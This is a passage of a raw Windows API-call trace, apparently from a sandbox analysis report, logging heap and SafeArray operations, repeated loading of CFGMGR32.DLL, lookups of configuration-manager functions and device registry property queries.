(HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855c60 [0227.749] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0227.750] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.750] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.750] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0227.750] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0227.750] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.750] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0227.750] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.750] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.751] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa8f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.751] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa900, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.751] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa908, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.752] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0227.752] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855c60) returned 1 [0227.753] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.753] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.753] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.754] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.755] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.756] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.756] malloc (_Size=0x18) returned 0x196ef0d1a20 [0227.756] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.756] malloc (_Size=0x10e) returned 0x196ef0d67b0 [0227.756] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0227.757] free (_Block=0x196ef0d67b0) [0227.757] malloc (_Size=0x48) returned 0x196ef0fbd60 [0227.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x689bcb54, dwHighDateTime=0x1d9eb0c)) [0227.758] SetEvent (hEvent=0x248) returned 1 [0227.761] malloc (_Size=0x18) returned 0x196ef0d1c20 [0227.761] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0227.761] free (_Block=0x196ef0d1c20) [0227.761] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0227.761] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0227.761] free (_Block=0x196ef0d1bc0) [0227.761] malloc (_Size=0x18) returned 0x196ef0d1b40 [0227.761] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0227.761] free (_Block=0x196ef0d1b40) [0227.761] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0227.761] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0227.761] free (_Block=0x196ef0d1ae0) [0227.761] malloc (_Size=0x18) returned 0x196ef0d20e0 [0227.761] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0227.761] free (_Block=0x196ef0d20e0) [0227.762] malloc (_Size=0x18) returned 0x196ef0d1d60 [0227.762] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0227.762] free (_Block=0x196ef0d1d60) [0227.762] malloc (_Size=0x18) returned 0x196ef0d1d60 [0227.762] SafeArrayPutElement (psa=0x196ef1f2870, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0227.762] free (_Block=0x196ef0d1d60) [0227.762] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856760 [0227.762] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0227.762] SafeArrayGetLBound (in: psa=0x196ef1f2870, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.762] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.762] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0227.762] SafeArrayGetDim (psa=0x196ef1f2870) returned 0x1 [0227.762] SafeArrayGetUBound (in: psa=0x196ef1f2870, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.762] SafeArrayGetElemsize (psa=0x196ef1f2870) returned 0x8 [0227.763] SafeArrayGetElement (in: psa=0x196ef1f2870, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.763] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.763] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.763] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.764] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.764] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.764] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e48, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.764] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2e50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.765] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0227.765] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856760) returned 1 [0227.766] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.766] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.769] malloc (_Size=0x18) returned 0x196ef0d1b20 [0227.769] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.773] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0227.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x689e31a4, dwHighDateTime=0x1d9eb0c)) [0227.773] SetEvent (hEvent=0x248) returned 1 [0227.776] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.776] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.779] malloc (_Size=0x18) returned 0x196ef0d1be0 [0227.780] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.780] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0227.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x689e31a4, dwHighDateTime=0x1d9eb0c)) [0227.780] SetEvent (hEvent=0x248) returned 1 [0227.855] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.855] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.856] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.856] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.856] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.856] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.857] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.857] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.857] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.858] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.859] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.861] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.861] malloc (_Size=0x18) returned 0x196ef0d1f40 [0227.862] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.862] malloc (_Size=0x48) returned 0x196ef0fbef0 [0227.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ac7fb8, dwHighDateTime=0x1d9eb0c)) [0227.863] SetEvent (hEvent=0x248) returned 1 [0227.867] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.867] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.870] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.871] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.871] malloc (_Size=0x18) returned 0x196ef0d1f60 [0227.872] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.872] malloc (_Size=0x48) returned 0x196ef0fb450 [0227.872] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68ac7fb8, dwHighDateTime=0x1d9eb0c)) [0227.872] SetEvent (hEvent=0x248) returned 1 [0227.881] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.881] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.881] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.882] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.882] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.882] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.882] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.883] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.884] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.885] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0227.886] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0227.889] malloc (_Size=0x48) returned 0x196ef0fc170 [0227.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68aee5e7, dwHighDateTime=0x1d9eb0c)) [0227.889] SetEvent (hEvent=0x248) returned 1 [0227.895] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.895] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.895] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.896] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 